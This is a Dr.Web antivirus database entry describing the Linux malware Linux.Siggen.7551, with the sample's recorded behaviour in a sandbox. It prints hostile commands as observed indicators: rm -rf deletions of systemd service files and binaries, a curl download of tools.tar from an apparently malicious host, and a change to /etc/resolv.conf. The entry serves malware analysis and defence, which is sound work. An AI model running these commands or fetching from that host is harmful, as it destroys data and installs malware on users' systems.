Para el funcionamiento correcto del sitio web, debe activar el soporte de JavaScript en su navegador.
Linux.Siggen.7551
Added to the Dr.Web virus database:
2024-05-29
Virus description added:
2024-05-28
Technical Information
Malicious functions:
Substitutes application name for:
Performs process tracing:
Manages services:
['systemctl', 'stop', 'myservice.service']
['systemctl', 'disable', 'myservice.service']
['systemctl', 'daemon-reload']
['systemctl', 'reset-failed']
Launches processes:
rm -rf /lib/systemd/system/myservice.service
<SAMPLE_FULL_PATH> -c exec \x27<SAMPLE_FULL_PATH>\x27 \x22$@\x22 <SAMPLE_FULL_PATH>
rm -rf /etc/systemd/system/myservice.service
rm -rf /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/
rm -rf /usr/lib/systemd/system/myservice.service
rm -rf /usr/bin/player
mkdir -p /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp/
id -u
cp -a /usr/bin/mslog/root/tools.tar /root/
curl -O dudiito.dev/i/tools.tar
<0x91>
Kills the following processes:
Performs operations with the file system:
Creates folders:
/var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n
/var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp
Creates or modifies files:
/var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp/.tmp
/etc/resolv.conf
Network activity:
Establishes connection:
8.#.8.8:53
94.##6.64.82:80
DNS ASK:
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Descargue Dr.Web para Android
Gratis por 3 meses
Todos los componentes de protección
Renovación de la demo a través de AppGallery/Google Pay
Si Vd. continúa usando este sitio web, esto significa que Vd. acepta el uso de archivos Cookie y otras tecnologías para que recabemos las estadísticas sobre los visitantes. Más información
OK